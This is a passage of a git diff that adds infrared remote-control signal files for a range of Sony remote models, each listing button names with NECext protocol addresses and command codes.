PRESET_PIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir new file mode 100644 index 000000000..dc490164d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MTS_SAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir new file mode 100644 index 000000000..17619d646 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: mts/sap +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: picturemode +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir new file mode 100644 index 000000000..5a0f3a584 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 14 00 00 00 +# +name: DSS_POWER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 15 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 25 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3B 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3F 00 00 00 +# +name: CATEGORY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 44 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 47 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 60 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 61 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: TV/DSS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 69 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6F 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir new file mode 100644 index 000000000..ef829d3b0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: sat_menu +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 38 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: sat_satguide +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: sat_up +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: sat_down +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: sat_right +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: sat_left +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: sat_enter +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir new file mode 100644 index 000000000..14feb92c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir new file mode 100644 index 000000000..48a88b6b5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: Data_Screen +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir new file mode 100644 index 000000000..ab8aa432d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 09 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 0B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 1A 00 00 00 +# +name: SCAN_BACK +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 1B 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 1C 00 00 00 +# +name: POPUP_MENU +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 29 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 2C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 2F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 33 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 39 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 3A 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 3B 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 3C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 3D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 41 00 00 00 +# +name: SYSTEM_MENU +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 42 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 43 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 4B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 50 00 00 00 +# +name: STEP_BACK +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 53 00 00 00 +# +name: STEP_FORWARD +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 57 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 65 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 1A E2 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir new file mode 100644 index 000000000..c0ef11b83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 15 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 30 00 00 00 +# +name: preset+ +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 3D 00 00 00 +# +name: preset- +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 3E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 48 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 49 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 4B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 60 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 6F 00 00 00 +# +name: hd-scan +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 70 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 71 00 00 00 +# +name: tune+ +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 73 00 00 00 +# +name: tune- +type: parsed +protocol: NECext +address: 1A 13 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir new file mode 100644 index 000000000..57ee300e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: SCAN_BACKWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: TIME_TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: TV_DVD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir new file mode 100644 index 000000000..8b34fdbaf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: time/text +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed 